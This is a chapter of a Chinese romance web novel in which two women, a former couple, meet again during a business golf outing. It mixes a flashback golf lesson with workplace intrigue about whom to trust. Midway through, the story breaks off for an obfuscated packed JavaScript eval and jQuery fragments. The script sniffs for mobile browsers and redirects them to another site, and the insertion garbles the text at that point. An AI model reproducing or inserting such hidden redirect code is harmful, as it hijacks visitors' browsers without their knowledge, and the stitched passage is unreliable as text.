默认冷灰
24号文字
方正启体

16. 无力的牛马2.0

作者:齐娜eris本书字数:K更新时间:
    16.


    摆渡车在起伏的果岭间缓缓停靠,微风卷着草木的清香扑面而来。


    早就坐不住的盛江南先一步跳下车,那急于逃离的背影落在陈蘅之眼里,像一条被放生的鱼。她的目光追随着盛江南的背影,看着她在草地上站定,看着她下意识抬手理了理被风吹乱的碎发。


    她缓了两秒,才不紧不慢地下车。


    陈蘅之对高尔夫一向谈不上热衷。她学得很早,也打得不差,却始终没在这项运动中找到愉悦。相比之下,陈蘅之更喜欢激烈一点的网球、壁球乃至拳击。


    丽诺率先走向发球台,亮色的短裙在烈日下晃得人眼晕。她利落地戴好手套,双腿微分,姿态专业,伴随着清脆的击球声,白球在空中划出一道漂亮的弧线,精准地落在球道中央。


    “好球!”几人笑着鼓掌,齐简臻随后上前,她的姿态远比丽诺松弛,可落点却比丽诺还要更靠近中心位。


    轮到盛江南时,她总觉得陈蘅之的目光正像实质的丝线,一层层缠绕在她的脊柱上,勒得她呼吸发紧。她深吸一口气,试图在这片翠绿中忽略掉那个人的存在。


    双手交叠,虎口扣合。


    海风拂过额角的碎发,那股温热的触感竟在那一瞬,毫无道理地又将尘封许久的记忆扯了出来。


    那是一年夏天,她还在读大三,塔桥难得在周末有了个晴朗的天气。刚结束在JPM累到灵魂出窍的实习周,西装还没来得及送洗,她就在一大早被陈蘅之带出了城。


    车窗外的景色飞速后退,古老繁华的塔桥被彻底抛在脑后,周遭的世界陡然开阔,满眼都是郊外漫山遍野的绿。盛江南缩在副驾驶的位置上,侧头看着专心开车的陈蘅之,眉眼间的笑意灿烂得像快要融化的冰淇淋,甜得不得了。


    “这么高兴?”陈蘅之趁着红灯转过头,瞥见她那副掩不住的雀跃模样。


    盛江南彻底打开车窗,任由夏季温热的风灌进领口,发丝挠得面颊发痒。那种没来由的、彻底的放松让她几乎想大声喊出来。她转过头,望向陈蘅之被阳光镀了一层金边的侧脸,声音清脆:“很高兴,蘅之,我很高兴。”


    陈蘅之闻言,唇角的弧度一寸寸加深,平日里那股拒人于千里之外的矜贵瞬间消融。她伸出手,轻轻握住了盛江南自然放在膝盖上的右手,指腹在她的手背上暧昧地摩挲了两下。


    盛江南知道,此刻的陈蘅之也是高兴的。


    在距离塔桥一个小时车程的俱乐部内,草坪被细雨洗得青翠极了。


    盛江南被陈蘅之带到了高尔夫的场地。


    当陈蘅之在柜台确认预约时,她自然而然地从身后揽住盛江南的腰,下巴搁在她的肩窝,声音轻柔:“怎么了?上周不是还碎碎念说想学球?”


    高尔夫其实很枯燥,可作为这个畸形圈子的运动,盛江南这个“乖宝宝”却觉得自己应该学会。在某天深夜下班后,她窝在沙发里随口抱怨了一句“她们怎么都会打高尔夫的呀?”,却没想到,当时正忙着开跨时区会议的陈蘅之,竟把这句话记住了。


    盛江南眼里的惊喜几乎要溢出来,她猛地转身抬眸看向陈蘅之。


    陈蘅之显然很受用这种依赖,她轻轻笑着,丝毫不顾及旁人探究的目光,微微倾身。那个吻带着淡淡的薄荷香,堪堪停在盛江南的唇边:“我很贵的哦,江南可不要辜负我这个老师才好。”


    “陈老师,我学习能力很强的。”盛江南挽着陈蘅之的胳膊,笑融融地答应了。


    那天的球场很安静,风不大,草地修得也十分整齐。盛江南换上衣服和鞋子的时候,总感觉有些不自在,觉得自己穿得不对,站得也不对。


    陈蘅之看出了她的局促,走到她的身边,把球杆递给了她。轻道:“不要着急挥,先站稳。”


    盛江南照做,却还是觉得有些僵。


    “肩放松些。”陈蘅之走到了盛江南的身后,修长的双臂从后方环绕过来,直接覆在了盛江南的手上,“不要握这么紧,膝盖稍稍弯曲一些。”


    陈蘅之温热的气息喷洒在盛江南的颈侧,带着独属于她的雪松气息。她贴着她,温热的体温传了过来,隔着薄薄的衣衫,她甚至能够感受到对方紧致的腰腹贴着她的后背,这样的姿势,让她不由自主地想到了昨夜两人在这股气息里的缠绵。


    她紧紧咬住下唇,试图掐断那些羞人的联想。


    然而身后的陈蘅之似乎对此毫无所觉,她认真地引导着:“来,带动手臂,跟着我。”


    陈蘅之没有着急挥杆,而是带着盛江南做了一次缓慢的动作。她的手指微微用力,纠正了盛江南食指的扣合位置,那双带着白色手套的手,像是有魔力一般。


    不仅能够给盛江南带来身体上的极大愉悦,甚至在此刻抚平了她心底的焦虑。


    “砰”


    球杆划出一道凌厉的弧线,白色的球在晴朗的天空下急速飞驰,最终落在了最中心的位置。


    盛江南愣愣地看着那个点,随后兴奋地回首,目光正撞进陈蘅之那双温柔得不像话的眼睛里。陈蘅之依然没有松手,还是那样半搂着她,语气里带着几分年少轻狂的傲慢与臭屁:“都说了,陈老师很贵的。”


    “蘅之……”盛江南在她的怀里低声呢喃,满心满眼都是这个人的样子。


    齐简臻的笑声打断了盛江南的回想,她晃了晃脑袋,不愿思考为何自己又会莫名想起过去,顾不得此刻的风,凭着某种肌肉记忆挥杆击球。


    这一球飞得极高极远,却在末端微微带了弧度,看看停在沙坑边缘的斜坡上。


    “可惜了,风偏了点。”丽诺遥遥地看着,说了一句。


    “我去看看球位。”盛江南笑了下,逃一样地走向那个沙坑斜坡。


    沙坑边缘的草皮修得极短,且清晨的露水尚未完全干透,走在上面有些湿滑。盛江南心不在焉地站在斜坡上,身体前倾,平衡着重心。


    就在她试图向前挪动的瞬间,脚下的球鞋在草泥间猝然一滑,整个人毫无预兆地向前栽去。


    草地柔软倒不至于摔伤,只是这身衣服要废了。盛江南有些心疼这身昂贵的行头,却没想到,自己居然没有摔倒。


    原来,陈蘅之不知道什么时候走到她身后半步的位置,看到她要摔倒的瞬间,极其果断且精准地勾住了盛江南腰间的那条藏青色皮带。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171817|196839||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    修长的手指勾着细皮带,陈蘅之稍稍用力,盛江南就被她猛地用力给拽了回去。


    “咚”的一声,盛江南的后背结结实实地撞进了一个温柔的怀抱之中。刚才还存在于记忆之中的温软触感与雪松气息,再次排山倒海般重新将她笼罩。


    “当心。”陈蘅之的声音在盛江南耳边响起,她的左手不知道什么时候握在了盛江南的肩头。而她的右手,依旧没有松开,手仍旧扣在腰带处,甚至稍稍用力提了提,让两个人的身体贴合得更紧。


    隔着薄薄的衣衫,盛江南几乎能清晰地感受到陈蘅之清瘦却柔韧的腰腹。


    盛江南僵在那里,呼吸近乎凝滞。几秒钟的断片后,她仓促地挣扎着转过身,对上陈蘅之那双深不见底的眼眸,急道:“谢谢陈总!”


    这个称呼让陈蘅之有些不满,她眉心微蹙,默了默,这才慢条斯理地松开手,然而指尖却有意无意地在盛江南的腰腹上划过,带起一阵令盛江南毛骨悚然的酥麻。


    “和我要这么生分吗?”陈蘅之向旁跨出一步,与她并肩而立,目光投向远处正在交谈的齐简臻与丽诺。盛江南有些狼狈地避开视线,看向自己球位的不远处,那里正躺着另一颗白色小球。


    陈蘅之也打偏了。


    这个发现让盛江南心里微微一滞。


    “你在丽诺手下几年了?”陈蘅之并不知道盛江南心中所想,她缓了片刻,忽地转过头问。


    “快三年了。”盛江南压下心里的波澜,如实回答,“来森特维尤后,我大部分时间都是在跟丽诺的项目。”


    “那Iris呢?你在JPM接触过吗?”陈蘅之点了点头,又问。


    盛江南想了下,回应:“接触过,但她职级很高,我们接触不是很多。”


    “那你觉得。”陈蘅之转过头,目光深沉得像一潭死水,直直地扎进盛江南眼底,“她们两,我该相信谁?”


    盛江南看着她,只觉得莫名其妙,她转头看向远处的齐简臻与丽诺,最后露出一抹公式化地笑容,刚要开口却又被陈蘅之打断。


    “Sybil,摆在台面上‘利益至上’的,和看似‘值得信任’却作壁上观的,其实很好选,对吗?”陈蘅之灼灼地望着盛江南。


    她根本就不是在询问盛江南的意见,她是在告诫她!


    盛江南眉头紧锁,对方要作妖的预感令她生出了几分反骨。她破天荒地主动向陈蘅之迈近了一步,压低声音质问:“陈总,你到底想说什么?”


    齐简臻把野心写在脸上,所以她是那个利益至上的;那么丽诺,就是那个看似慈祥、实则藏着自己盘算的伪装者。盛江南是丽诺的下属,更是这个项目的执行核心,陈蘅之在此时离间她们,究竟意欲何为?


    “坦白讲,我谁都不相信。”陈蘅之不管盛江南的神情,再度轻道,“你最好也是这样。”


    此时,远处的齐简臻和丽诺正并肩走来。看到沙坑边缘那两个几乎叠在一起的身影,齐简臻挑了挑眉;而丽诺则只是顺手推了推遮阳帽,大半张脸陷在阴影里,神色莫辨。


    “除了你。”陈蘅之最后说道,“盛江南,我只相信你。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)